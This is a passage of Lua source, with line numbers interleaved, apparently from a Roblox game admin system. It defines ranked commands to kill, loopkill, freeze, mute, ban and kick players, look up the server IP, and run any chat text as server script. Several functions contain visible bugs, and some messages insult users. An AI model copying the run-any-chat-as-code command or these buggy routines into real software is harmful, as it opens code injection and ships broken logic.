Absolution.Functions.Command("Debugger Info", {"sinfo", "serverstats", 'gstats','stats'}, 0, "Gets server stats", "No Flags", function(Speaker, Msg)
3187
Absolution.Functions.Dismiss(Speaker)
3188
Absolution.Handler:sendPacket(Speaker, 'TerminalOn')
3189
	for index,key in next,Absolution.Functions.getServerInfo() do
3190
		Absolution.Functions.Out(Speaker, index..' = '.. tostring(key), 2)
3191
	end
3192
Absolution.Functions.Out(Speaker, 'Got ServerStats.', 5)
3193
end)
3194
-- Rank 1 --
3195
Absolution.Functions.Command('Play Music',{'play','music','sound'}, 1, 'Plays music <id>','-n (No Music)',function(Speaker,Msg)
3196
	if Absolution.Functions.GetSplit(Msg) == "n" then
3197
		local rtn = {}
3198
		
3199
		local function recurse(obj)
3200
			for i,v in next,obj:children'' do
3201
				if v:isA('Sound') then
3202
					table.insert(rtn,v)
3203
				end
3204
				recurse(v)
3205
			end
3206
		end
3207
		
3208
		for q,e in pairs(rtn) do
3209
			v.Volume = 0
3210
			v:Stop()
3211
			v:Destroy()
3212
		end
3213
		
3214
		recurse(Absolution.Services.Workspace)
3215
		Absolution.Functions.Out(Speaker, 'Music cleared!',5)
3216
	else
3217
		Absolution.Functions.PlayAudio(Speaker,Msg)
3218
		Absolution.Functions.Out(Speaker, 'Playing Audio '..Msg, 5)
3219
	end
3220
end)
3221
Absolution.Functions.Command('Countdown', {'cd', 'count', 'countdown'}, 1, 'Makes a countdown in the server', 'No flags', function(Speaker, Msg)
3222
	Absolution.Functions.Output(Speaker, 'Creating a countdown...', 'Random', nil, 3)
3223
	if tonumber(Msg) and tonumber(Msg) > 0 and tonumber(Msg) < 60 then
3224
		local Hint = Instance.new('Message', workspace)
3225
		for i = tonumber(Msg),1,-1 do
3226
			if not Hint and Hint.Parent.Name=='Workspace' then Hint = Instance.new('Message',workspace) end
3227
			Hint.Text = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[ABSOLUTION] "..i
3228
			wait(1)
3229
		end
3230
		if Hint then Hint:Destroy() end
3231
		Absolution.Functions.Out(Speaker, 'Created a countdown.', 5)
3232
	elseif tonumber(Msg) < 0 then
3233
		Absolution.Functions.Out(Speaker, 'You must think I\'m stupid. The number can\'t be negative!', 4)
3234
	elseif tonumber(Msg) > 60 then
3235
		Absolution.Functions.Out(Speaker, 'Wow nice going you stupid abuser. Don\'t play games with me! Make the number smaller.', 4)
3236
	end
3237
end)
3238
Absolution.Functions.Command("Forcefield", {"ff", "forcefield"}, 1, "Forcefields A Player", "-u (UnFF)", function(Speaker, Msg)
3239
	if Absolution.Functions.GetSplit(Msg) == "u" then
3240
		Msg = Msg:gsub("-u","")
3241
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3242
		if #Players > 0 then
3243
			for _,v in pairs(Players) do
3244
				ypcall(function()
3245
					for _, v2 in pairs(v.Character:GetChildren()) do
3246
						if v2:IsA("ForceField") then
3247
							v2:remove()
3248
						end
3249
					end
3250
				Absolution.Functions.Out(Speaker, 'Removed '..v.Name..'\'s Forcefield.', 1)
3251
				end)
3252
			end
3253
		end
3254
	else
3255
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3256
		if #Players > 0 then
3257
			for _,v in pairs(Players) do
3258
				ypcall(function()
3259
					Instance.new("ForceField", v.Character)
3260
					Absolution.Functions.Out(Speaker, 'Gave forcefield to '..v.Name..'.', 1)
3261
				end)
3262
			end
3263
		end
3264
	end
3265
end)
3266
3267
local HTTP = game:GetService("HttpService")
3268
3269
Absolution.Functions.Command("Dictionary", {"dict","dictionary"}, 1, "Uses dictionary functions", "-e (Example) -d(Define)", function(Speaker, Msg)
3270
	local example;
3271
	if Absolution.Functions.GetSplit(Msg) == "e" then
3272
		Msg = Msg:gsub('-e','')
3273
		example = HTTP:GetAsync("https://api.apithis.net/dictionary.php?example="..Msg.."")
3274
	elseif Absolution.Functions.GetSplit(Msg) == "d" then
3275
		Msg = Msg:gsub('-d','')
3276
		example = HTTP:GetAsync("https://api.apithis.net/dictionary.php?define="..Msg.."")
3277
	end
3278
	if example == nil then
3279
		--Absolution.Functions.Output(Speaker, "Please enter a word", 'Bright blue')
3280
		Absolution.Functions.Out(Speaker, "Please enter a word", 5)
3281
	elseif example == "No example found." then
3282
		--Absolution.Functions.Output(Speaker, "Could not find data for "..Msg, 'Really red')
3283
		Absolution.Functions.Out(Speaker, "Could not find data for "..Msg, 4)
3284
	else
3285
		--Absolution.Functions.Output(Speaker, Msg..": "..example)
3286
		Absolution.Functions.Out(Speaker, Msg..": "..example, 1)
3287
	end
3288
end)
3289
3290
Absolution.Functions.Command("Server IP", {"ip", "serverip"}, 1, "Returns Server IP", "No Flags", function(Speaker, Msg)
3291
	local example = HTTP:GetAsync("https://api.ipify.org")
3292
	if example == nil then
3293
		--Absolution.Functions.Output(Speaker, "Could not find IP", 'Bright blue')
3294
		Absolution.Functions.Out(Speaker, "Could not find IP", 5)
3295
	elseif example == "IP Not found." then
3296
		--Absolution.Functions.Output(Speaker, "Could not find data for server.", 'Really red')
3297
		Absolution.Functions.Out(Speaker, "Could not find data for server.", 4)
3298
	else
3299
		--Absolution.Functions.Output(Speaker, "Server IP: "..example)
3300
		Absolution.Functions.Out(Speaker, "Server IP: "..example, 1)
3301
	end
3302
end)
3303
3304
3305
Absolution.Functions.Command("URI Shortener", {"tinyurl",'shorten'}, 1, "Shortens an url", "No Flags", function(Speaker, Msg)
3306
	local example = HTTP:GetAsync("https://is.gd/create.php?format=simple&url="..Msg.."")
3307
	if example == nil then
3308
		--Absolution.Functions.Output(Speaker, "Please enter a name", 'Bright blue')
3309
		Absolution.Functions.Out(Speaker, "Please enter a name", 5)
3310
	elseif example == "Error: Please enter a valid URL to shorten" then
3311
		--Absolution.Functions.Output(Speaker, "URL: "..Msg..", is not valid", 'Really red')
3312
		Absolution.Functions.Out(Speaker, "URL: "..Msg..", is not valid", 4)
3313
	else
3314
		--Absolution.Functions.Output(Speaker,"URL: "..example..".")
3315
		Absolution.Functions.Out(Speaker, "URL: "..example..".", 1)
3316
	end
3317
end)
3318
3319
Absolution.Functions.Command("Godmode", {"god", "godmode"}, 1, "Gives A Player Godmode", "-u (UnGod)", function(Speaker, Msg)
3320
	if Absolution.Functions.GetSplit(Msg) == "u" then
3321
		Msg = Msg:gsub("-u","")
3322
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3323
		if #Players > 0 then
3324
			for _,v in pairs(Players) do
3325
				ypcall(function()
3326
					for __,vv in pairs(v.Character:GetChildren()) do
3327
						if vv:IsA('Humanoid') then
3328
							vv.Name = 'Humanoid'
3329
							vv.MaxHealth = 100
3330
							vv.Health = 100
3331
						end
3332
					end
3333
					Absolution.Functions.Out(Speaker, "Un-Goded "..v.Name..".", 1)
3334
				end)
3335
			end
3336
		end
3337
	else
3338
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3339
		if #Players > 0 then
3340
			for _,v in pairs(Players) do
3341
				ypcall(function()
3342
					for __,vv in pairs(v.Character:GetChildren()) do
3343
						if vv:IsA('Humanoid') then
3344
							vv.Name = 'lal_its_a_humanoid'
3345
							vv.MaxHealth = math.huge
3346
						end
3347
					end
3348
					Absolution.Functions.Out(Speaker, "Goded "..v.Name..".", 1)
3349
				end)
3350
			end
3351
		end
3352
	end
3353
end)
3354
Absolution.Functions.Command("Freeze", {"freeze"}, 1, "Freezes A Player", "-u (UnFreeze/Thaw)", function(Speaker, Msg)
3355
	if Absolution.Functions.GetSplit(Msg) == "u" then
3356
		Msg = Msg:gsub("-u","")
3357
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3358
		if #Players > 0 then
3359
			for _,v in pairs(Players) do
3360
				ypcall(function()
3361
					for _,v in pairs(v.Character:GetChildren()) do
3362
						if v:IsA("Part") then
3363
							v.Anchored = false
3364
						end
3365
					end
3366
					pcall(function() v.Character.FrozenBlock:remove() end)
3367
					Absolution.Functions.Out(Speaker, "Thawed "..v.Name..".", 1)
3368
				end)
3369
			end
3370
		end
3371
	else
3372
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3373
		if #Players > 0 then
3374
			for _,v in pairs(Players) do
3375
				ypcall(function()
3376
					pcall(function() v.Character.FrozenBlock:remove() end)
3377
					for _,v in pairs(v.Character:GetChildren()) do
3378
						if v:IsA("Part") then
3379
							v.Anchored = true
3380
						end
3381
					end
3382
					local b = Instance.new("Part", v.Character)
3383
					b.Anchored = true
3384
					b.Locked = true
3385
					b.TopSurface, b.BottomSurface = 0,0
3386
					b.Color = BrickColor.new("Light blue").Color
3387
					b.Size = Vector3.new(5,10,5)
3388
					b.Transparency = 0.5
3389
					b.Name = "FrozenBlock"
3390
					b.CFrame = v.Character.Torso.CFrame
3391
					local Weld = Instance.new("Weld", b)
3392
					Weld.Name = "FrozenWeld"
3393
					Weld.Part0 = v.Character.Torso
3394
					Weld.Part1 = b
3395
					Absolution.Functions.Out(Speaker, "Froze "..v.Name..".", 1)
3396
				end)
3397
			end
3398
		end
3399
	end
3400
end)
3401
Absolution.Functions.Command("Walkspeed", {"ws", "speed", "walkspeed"}, 1, "Changes Your Walkspeed", "No Flags", function(Speaker, Msg)
3402
	local Split = Msg:find('/')--('/')
3403
	local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
3404
	local Speed = tonumber(Msg:sub(Split + 1))
3405
	for _,v in pairs(Player) do
3406
		ypcall(function()
3407
			v.Character.Humanoid.WalkSpeed = Speed
3408
			Absolution.Functions.Out(Speaker, "Gave "..Speed.." walkspeed to "..v.Name".", 1)
3409
		end)
3410
	end
3411
end)
3412
Absolution.Functions.Command("Invisible", {"invis", "invisible"}, 1, "Makes A Player Invisible", "-u (Visible)", function(Speaker, Msg)
3413
	if Absolution.Functions.GetSplit(Msg) == "u" then
3414
		Msg = Msg:gsub("-u", "")
3415
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3416
		if #Players > 0 then
3417
			for _,v in pairs(Players) do
3418
				ypcall(function()
3419
					for _,c in pairs(v.Character:GetChildren()) do
3420
						if c.ClassName == "Part" then
3421
							c.Transparency = 0
3422
						end
3423
						if c:findFirstChild("face") then
3424
							c.face.Transparency = 0
3425
						end
3426
						if c:findFirstChild("Handle") then
3427
							c.Handle.Transparency = 0
3428
						end							
3429
					end
3430
					Absolution.Functions.Out(Speaker, "Made "..v.Name.." visible.", 1)
3431
				end)
3432
			end
3433
		end
3434
	else
3435
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3436
		if #Players > 0 then
3437
			for _,v in pairs(Players) do
3438
				ypcall(function()
3439
					for _,c in pairs(v.Character:GetChildren()) do
3440
						if c.ClassName == "Part" then
3441
							c.Transparency = 1
3442
						end
3443
						if c:findFirstChild("face") then
3444
							c.face.Transparency = 1
3445
						end
3446
						if c:findFirstChild("Handle") then
3447
							c.Handle.Transparency = 1
3448
						end	
3449
					end
3450
					Absolution.Functions.Out(Speaker, "Made "..v.Name.." invisible.", 1)
3451
				end)
3452
			end
3453
		end
3454
	end
3455
end)
3456
-- Rank 2 --
3457
Absolution.Functions.Command("Private Base Teleport",{"tpb"}, 2, "Teleports a player to the Private Base", "No Flags", function(Speaker, Msg)
3458
	local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3459
	for i,v in pairs(Players) do
3460
	pcall(function()
3461
	if not v.Character then v:LoadCharacter() end
3462
	if v.Character:findFirstChild'Humanoid'.Sit==true then v.Character.Humanoid.Jump = true end
3463
		v.Character.Torso.RotVelocity = Vector3.new(0,0,0)
3464
		wait()
3465
		v.Character:MoveTo(Absolution.Services.Workspace.Terrain:FindFirstChild'AbsolutionBase'.Position+Vector3.new(0,10,0))
3466
		Absolution.Functions.Out(Speaker, "Teleported "..v.Name.." to the private base.", 1)
3467
	end)
3468
	end
3469
end)
3470
Absolution.Functions.Command("Btools",{"bt",'btools'}, 2, "Gives u da btools!", "No Flags", function(Speaker, Msg)
3471
	Absolution.Functions.createLocalScript('TerrainBrushScript', Speaker:WaitForChild('Backpack'), 'le terrain!')
3472
	script.Bin:FindFirstChild("Building Tools"):Clone().Parent = Speaker:WaitForChild('Backpack')
3473
	Absolution.Functions.Out(Speaker, "Got btools.", 1)
3474
end)
3475
Absolution.Functions.Command("Search Music",{"sm","srchm","searchm"}, 2, "Searches catalog for music", "No Flags", function(Speaker, Msg)
3476
	Absolution.Functions.Dismiss(Speaker)
3477
	Absolution.Functions.Output(Speaker,'Retrieving data...')
3478
	local Audio = Absolution.Functions.GetCatalog(Msg, 9)
3479
	local Hats = Absolution.Functions.GetCatalog(Msg, 3)
3480
	local Gear =  Absolution.Functions.GetCatalog(Msg, 5)
3481
	Absolution.Functions.Dismiss(Speaker)
3482
	Absolution.Functions.Output(Speaker, "Audio:\n"..#Audio, "White", function()
3483
		Absolution.Functions.Dismiss(Speaker)
3484
		for _, Data in pairs(Audio) do
3485
			Absolution.Functions.Output(Speaker, Data.Name, "White", function()
3486
			Absolution.Functions.Dismiss(Speaker)
3487
			local datasafe = {
3488
			["Name"] = Data.Name,
3489
			["CreatorID"] = Data.CreatorID,
3490
			["isLimited"] = Data.isLimited,
3491
			["Sales"] = Data.Sales,
3492
			["Favorited"] = Data.Favorited,
3493
			["Description"] = Data.Description,
3494
			["IsForSale"] = Data.IsForSale,
3495
			["Creator"] = Data.Creator,
3496
			["Updated"] = Data.Updated,
3497
			}
3498
			for i,v in pairs(datasafe) do
3499
			pcall(function()
3500
			Absolution.Functions.Output(Speaker,i..': '..tostring(v))
3501
			end)
3502
			end
3503
			Absolution.Functions.Output(Speaker, 'Play '..Data.Name, 'White', function()Absolution.Functions.PlayAudio(Speaker,Data.AssetId) Absolution.Functions.Out(Speaker, "Playing "..Data.Name..".", 1)end)
3504
			end)
3505
		end
3506
	end)
3507
	Absolution.Functions.Output(Speaker, "Hats:\n"..#Hats, "Bright violet", function()
3508
		Absolution.Functions.Dismiss(Speaker)
3509
		for _, Data in pairs(Hats) do
3510
			Absolution.Functions.Output(Speaker, Data.Name.."\n("..Data.AssetId..")", "Bright violet", function()
3511
				for _, Child in pairs(Absolution.Services.InsertService:LoadAsset(Data.AssetId):GetChildren()) do
3512
					if Speaker.Character then
3513
						Child.Parent = Speaker.Character
3514
						Absolution.Functions.Dismiss(Speaker)
3515
						Absolution.Functions.Out(Speaker, "Got hat "..Data.Name.." ("..Data.AssetId..").", 1)
3516
					end
3517
				end
3518
			end)
3519
		end
3520
	end)
3521
	Absolution.Functions.Output(Speaker, "Gear:\n"..#Gear, "Bright green", function()
3522
		Absolution.Functions.Dismiss(Speaker)
3523
		for _, Data in pairs(Gear) do
3524
			Absolution.Functions.Output(Speaker, Data.Name..":\n"..Data.AssetId, "Bright green", function()
3525
				for _, Child in pairs(Absolution.Services.InsertService:LoadAsset(Data.AssetId):GetChildren()) do
3526
					Child.Parent = Speaker:FindFirstChild("Backpack") or Absolution.Services.Workspace
3527
					Absolution.Functions.Dismiss(Speaker)
3528
					Absolution.Functions.Out(Speaker, "Got gear "..Data.Name.." ("..Data.AssetId..").", 1)
3529
				end
3530
			end)
3531
		end
3532
	end)
3533
end)
3534
3535
Absolution.Functions.Command('Script',{'skrip','skript','cancer','syntax'}, 2, 'Creates a new script with msg as source', 'No flags', function(Speaker, Msg)
3536
	if #Msg > 0 then
3537
		Absolution.Functions.createScript(Msg, Absolution.Services.Workspace, Speaker.Name..tick())
3538
		Absolution.Functions.Out(Speaker, "Creating normal script.", 1)
3539
	end
3540
end)
3541
Absolution.Functions.Command("Message", {"m", "message", "msg"}, 2, "Shows A Message", "-h (Hint) -hg (Hint Gui) -m (Message) -t (Tablets) -c (Chat)", function(Speaker,Msg)
3542
	if Absolution.Functions.GetSplit(Msg) == "h" then
3543
		Msg = Msg:gsub("-h", "")
3544
		local m = Instance.new("Hint", Absolution.Services.Workspace)
3545
		m.Text = Msg
3546
		Absolution.Services.Debris:AddItem(m, 3)
3547
	elseif Absolution.Functions.GetSplit(Msg) == "hg" then
3548
		Msg = Msg:gsub("-hg", "")
3549
		Absolution.Functions.Announce(Msg, false)
3550
	elseif Absolution.Functions.GetSplit(Msg) == "t" then
3551
		Msg = Msg:gsub("-t", "")
3552
		Absolution.Functions.Output("All",Speaker.Name..": "..Msg, "Random", nil, 3)
3553
	elseif Absolution.Functions.GetSplit(Msg) == "c" then
3554
		Msg = Msg:gsub("-c", "")
3555
		Absolution.Handler.sendChat(Msg, nil, Speaker.Name)
3556
		Absolution.Functions.Out('All', Speaker.Name..': '..Msg, 5)
3557
	elseif Absolution.Functions.GetSplit(Msg) == "m" then
3558
		Msg = Msg:gsub("-m", "")
3559
		local m = Instance.new("Message", Absolution.Services.Workspace)
3560
		m.Text = Speaker.Name..": "..Msg
3561
		Absolution.Services.Debris:AddItem(m, 3)
3562
	else
3563
		Absolution.Functions.Announce(Msg, true)
3564
	end
3565
end)
3566
-- Rank 3 --
3567
Absolution.Functions.Command("Hamster Ball", {"ball"}, 3, "Gives the speaker a hamster ball.", "No Flags",function(Speaker, Msg)
3568
	if Speaker.Character then
3569
		if Speaker.Character:findFirstChild'Torso' then
3570
			local pos = Speaker.Character.Torso.Position
3571
			Absolution.Functions.MakeBall(pos)
3572
			Absolution.Functions.Out(Speaker, "Got ball.", 1)
3573
		end
3574
	end
3575
end)
3576
--[[
3577
Absolution.Functions.Command("Blind", {"blnd",'nosee','bgui','blind'}, 3, "Toggles a player's blind", "No Flags",function(Speaker, Msg)
3578
	local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3579
	local Status;
3580
	Absolution.Functions.Dismiss(Speaker)
3581
	if #Players > 0 then
3582
		for _,v in pairs(Players) do
3583
			coroutine.wrap(function()
3584
				ypcall(function()
3585
					Status = Absolution.Handler:sendPacket(v, 'Blind',{})
3586
					Absolution.Functions.Out(Speaker, "Blinded "..v.Name..".", 1)
3587
				end)
3588
			end)
3589
		end
3590
	end
3591
end)--]]
3592
Absolution.Functions.Command("Mute", {"mute"}, 3, "Mutes A Player", "-u (UnMute)", function(Speaker, Msg)
3593
	if Absolution.Functions.GetSplit(Msg) == "u" then
3594
		Msg = Msg:gsub("-u","")
3595
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3596
		if #Players > 0 then
3597
			for _,v in pairs(Players) do
3598
				ypcall(function()
3599
					Absolution.Handler:sendPacket(v, "unmute")
3600
					Absolution.Functions.Out(Speaker, "Unmuted "..v.Name..".", 1)
3601
				end)
3602
			end
3603
		end
3604
	else
3605
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3606
		if #Players > 0 then
3607
			for _,v in pairs(Players) do
3608
				ypcall(function()
3609
					Absolution.Handler:sendPacket(v, "mute")
3610
					Absolution.Functions.Out(Speaker, "Muted "..v.Name..".", 1)
3611
				end)
3612
			end
3613
		end
3614
	end
3615
end)
3616
Absolution.Functions.Command("Remove hats", {'nohats','nohat','nh','removehats','bald'}, 3, "Removes a player's hats", "No Flags", function(Speaker, Msg)
3617
	local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3618
	if #Players > 0 then
3619
		for _,v in pairs(Players) do
3620
			ypcall(function()
3621
				if v.Character then
3622
					for i,v in pairs(v.Character:children()) do
3623
						if v:IsA('Hat') then
3624
							v:Destroy()
3625
						end
3626
					end
3627
				end
3628
				Absolution.Functions.Out(Speaker, "Removed "..v.Name.."'s hats", 1)
3629
			end)
3630
		end
3631
	else
3632
		Absolution.Functions.Output(Speaker, 'No players defined.','Really red')
3633
	end
3634
end)
3635
Absolution.Functions.Command("GetPlayerInfo", {"pinfo",'showdata','pdata','ginfo'}, 3, "Gets a players info", "No Flags", function(Speaker, Msg)
3636
	local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3637
	if #Players <= 1 then
3638
		for _,v in pairs(Players) do
3639
			ypcall(function()
3640
				Absolution.Functions.ShowData(Speaker, v)
3641
				Absolution.Functions.Out(Speaker, "Got "..v.Name.."'s data.", 1)
3642
			end)
3643
		end
3644
	else
3645
		Absolution.Functions.Output(Speaker, 'Too many players!','Really red')
3646
	end
3647
end)
3648
-- Rank 4 --
3649
Absolution.Functions.Command("Full Clean", {"fullclean", "fc", "fclean"}, 4, "Full Cleans The Server", '-f (Full Clean)', function(Speaker, Msg)
3650
	if Absolution.Functions.GetSplit(Msg) == "f" then
3651
		Absolution.Functions.FullClean()	
3652
	else
3653
		Absolution.Functions.CleanWorkspace()
3654
	end
3655
	Absolution.Functions.Out(Speaker, "Got clean.", 5)
3656
end)
3657
Absolution.Functions.Command("Kill", {"kill"}, 4, "Kills A Player", "-l (Loopkill) -ul (Unloopkill) -s (Smite) -r (Respawn) -e (Explode) -w (WalkSpeed)",function(Speaker, Msg)
3658
	if Absolution.Functions.GetSplit(Msg) == "r" then
3659
		Msg = Msg:gsub("-r","")
3660
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3661
		if #Players > 0 then
3662
			for _,v in pairs(Players) do
3663
				ypcall(function()
3664
					v:LoadCharacter()
3665
					Absolution.Functions.Out(Speaker, "Respawned "..v.Name..".", 5)
3666
				end)
3667
			end
3668
		end
3669
	elseif Absolution.Functions.GetSplit(Msg) == "s" then
3670
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3671
		if #Players > 0 then
3672
			for _,v in pairs(Players) do
3673
				for _,i in pairs(v.Character:children()) do
3674
					if i:IsA'BasePart' then	
3675
						local Sparkles = Instance.new("Sparkles",i)
3676
						Sparkles.Color = Color3.new(math.random(),math.random(),math.random())
3677
						local Ex = Instance.new("Explosion",Absolution.Services.Workspace)
3678
						Ex.Position = i.Position
3679
						Ex.BlastPressure = 1e105
3680
						i:BreakJoints()
3681
						i.Velocity = Vector3.new(math.random(-250,250),math.random(100,250),math.random(-250,250))
3682
						coroutine.wrap(function()
3683
							for b=1,5,0.5 do
3684
								i.Size=Vector3.new(b,b,b)
3685
								wait(0.01)
3686
							end
3687
						end)()
3688
					end
3689
				end
3690
				local Base=Instance.new'Part'
3691
				pcall(function()
3692
					Base.Size=Vector3.new(5,1,3)
3693
					Base.Color=Color3.new(BrickColor.new'Bright yellow')
3694
					Base.Anchored=true
3695
					Base.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y - 6,v.Character.Torso.CFrame.z)
3696
					coroutine.wrap(function()
3697
						for i=0,1,0.1 do
3698
							Base.Transparency=i
3699
							wait()
3700
						end
3701
						Base:Destroy()
3702
					end)()
3703
				end)
3704
			end
3705
		end
3706
	elseif Absolution.Functions.GetSplit(Msg) == "e" then
3707
		Msg = Msg:gsub("-e", "")
3708
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3709
		if #Players > 0 then
3710
			for _,v in pairs(Players) do
3711
				ypcall(function()
3712
					local e = Instance.new'Explosion'
3713
					e.Parent = Absolution.Services.Workspace
3714
					e.BlastRadius = 10
3715
					e.BlastPressure = 10000
3716
					e.Position = v.Character.Torso.Position
3717
					Absolution.Functions.Out(Speaker, "Exploded "..v.Name..".", 5)
3718
				end)
3719
			end
3720
		end
3721
	elseif Absolution.Functions.GetSplit(Msg) == "l" then
3722
		Msg = Msg:gsub("-l", "")
3723
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3724
		if #Players > 0 then
3725
			for _,v in pairs(Players) do
3726
				ypcall(function()
3727
					if Absolution.Connections.Killing[v.Name] then
3728
						return Absolution.Functions.Output(Speaker, "You can only loopkill someone one at a time!", "Really red", nil, 3)
3729
					end
3730
					Absolution.Connections.Killing[v.Name] = v.CharacterAdded:connect(function(Character)
3731
						wait()
3732
						Character:BreakJoints()
3733
					end)
3734
					v.Character:BreakJoints()
3735
				end)
3736
			end
3737
		end
3738
	elseif Absolution.Functions.GetSplit(Msg) == "ul" then
3739
		Msg = Msg:gsub("-ul", "")
3740
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3741
		if #Players > 0 then
3742
			for _,v in pairs(Players) do
3743
				ypcall(function()
3744
					if Absolution.Connections.Killing[v.Name] then
3745
						Absolution.Connections.Killing[v.Name]:disconnect()
3746
						Absolution.Connections.Killing[v.Name] = nil
3747
					end
3748
				end)
3749
			end
3750
		end
3751
	elseif Absolution.Functions.GetSplit(Msg) == "w" then
3752
		Msg = Msg:gsub("-w", "")
3753
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3754
		if #Players > 0 then
3755
			for _,v in pairs(Players) do
3756
				ypcall(function()
3757
					v.Character.Humanoid.WalkSpeed = "99e999"
3758
					Absolution.Functions.Out(Speaker, "Walkspeed killed "..v.Name..".", 5)
3759
				end)
3760
			end
3761
		end
3762
	else
3763
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
3764
		if #Players > 0 then
3765
			for _,v in pairs(Players) do
3766
				ypcall(function()
3767
					v.Character:BreakJoints()
3768
					Absolution.Functions.Out(Speaker, "Killed "..v.Name..".", 5)
3769
				end)
3770
			end
3771
		end
3772
	end
3773
end)
3774
Absolution.Functions.Command("Kick", {"kick", "leave", "bai", "kk", "sbban", "gtfo", "kys", "dc"}, 4, "Kicks A Player", "-t (Tempban) -b (Banish) -c (Crash) -n (Nil) -r (Rejoin)",function(Speaker, Msg)
3775
	local Split = Msg:find("/")
3776
	local tbsr = Msg:find";"
3777
	if Absolution.Functions.GetSplit(Msg) == "b" then
3778
		if Absolution.Functions:findRank(Speaker) < 6 then
3779
			return Absolution.Functions.Output(Speaker, "You're not a high enough rank to use this flag!", "Really red")
3780
		end
3781
		local Reason = (Msg:sub(Split + 1)..' ('..Speaker.Name..')'):gsub('-b','')
3782
		Msg = Msg:gsub("-b","")
3783
		local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
3784
		if #Players > 0 then
3785
			for _,v in pairs(Players) do
3786
				if Absolution.Functions:findRank(v) >= 3 then
3787
					ypcall(function()
3788
						Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm PERMANENT ban for: '..Reason,'Really red',function()
3789
							Absolution.Functions.getRankedTable(v.Name).Rank = -1
3790
							Absolution.Functions.getRankedTable(v.Name).Description = Reason
3791
							--Absolution.Functions.sbOutput(v.Name..' was banned for '..Reason, 'Error')
3792
							Absolution.Functions.Announce(v.Name..' was banned for '..Reason, 'Error')
3793
							Absolution.Functions.Out(Speaker, "You banned "..v.Name.." for "..Reason..".", 5)
3794
							wait()
3795
							Absolution.Functions.syncRankOut(v)
3796
							v:Kick('You were banned for '..Reason)
3797
						end)
3798
					end)
3799
				else
3800
					ypcall(function()
3801
						Absolution.Functions.getRankedTable(v.Name).Rank = -1
3802
						Absolution.Functions.getRankedTable(v.Name).Description = Reason
3803
						--Absolution.Functions.sbOutput(v.Name..' was banned for '..Reason, 'Error')
3804
						Absolution.Functions.Announce(v.Name..' was banned for '..Reason, 'Error')
3805
						Absolution.Functions.Out('All', v.Name..' was banned for '..Reason..'.', 5)
3806
						wait()
3807
						Absolution.Functions.syncRankOut(v)
3808
						v:Kick('You were banned for '..Reason)
3809
					end)
3810
				end
3811
			end
3812
		end
3813
	elseif Absolution.Functions.GetSplit(Msg) == "t" then
3814
	if Absolution.Functions.getRankedTable(Speaker).Rank < 6 then
3815
			return Absolution.Functions.Output(Speaker, "You're not a high enough rank to use this flag!", "Really red")
3816
		end
3817
		local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
3818
		local Duration = ((Msg:sub(tbsr + 1)):gsub('-t',''))
3819
		if not tonumber(Duration) and tostring(Duration):len() >= 3 then
3820
			local data = {}
3821
			local form = '[%d+%a+]+'
3822
				for match in Duration:gmatch(form) do
3823
					data[#data+1] = match
3824
				end
3825
				if not data[1] and not data[2] then Absolution.Functions.Output(Speaker,'Invalid time format!','Really red') return end
3826
			local tim = data[1]
3827
			local types = {["years"] = 525600,["months"] = 43800,["weeks"] = 10080,["days"] = 1440,["hours"] = 60}
3828
			local multiplier = types[data[2]]
3829
			if not multiplier then 
3830
				local teststr = data[2]..'s'
3831
				if types[teststr] then
3832
					multiplier = types[teststr]
3833
				else
3834
					Absolution.Functions.Output(Speaker,'Invalid time format!','Really red')
3835
				end
3836
			end
3837
			Duration = ((tim*60) * multiplier)
3838
		elseif tonumber(Duration) then
3839
		Duration = Duration*60
3840
		end
3841
		local Reason = (Msg:sub(Split + 1,tbsr-1)..' ('..Speaker.Name..')'):gsub('-t','')
3842
		if #Players > 0 then
3843
			for _,v in pairs(Players) do
3844
				if Absolution.Functions:findRank(v) >= 3 then
3845
					ypcall(function()
3846
						Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm temporary ban for: '..Absolution.Functions.GetTime(Duration),'Really red',function()
3847
							Absolution.Functions.getRankedTable(v.Name).Description = Reason
3848
							Absolution.Functions:setTempBan(v, Reason, (Duration))
3849
							--Absolution.Functions.sbOutput(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
3850
							Absolution.Functions.Announce(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
3851
							Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)})
3852
							Absolution.Functions.Out('All', v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)..'.', 5)
3853
							wait()
3854
							Absolution.Functions.syncRankOut(v)
3855
							v:Kick('You were temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration))
3856
						end)
3857
					end)
3858
				else
3859
					ypcall(function()
3860
						Absolution.Functions.getRankedTable(v.Name).Description = Reason
3861
						Absolution.Functions:setTempBan(v, Reason, (Duration))
3862
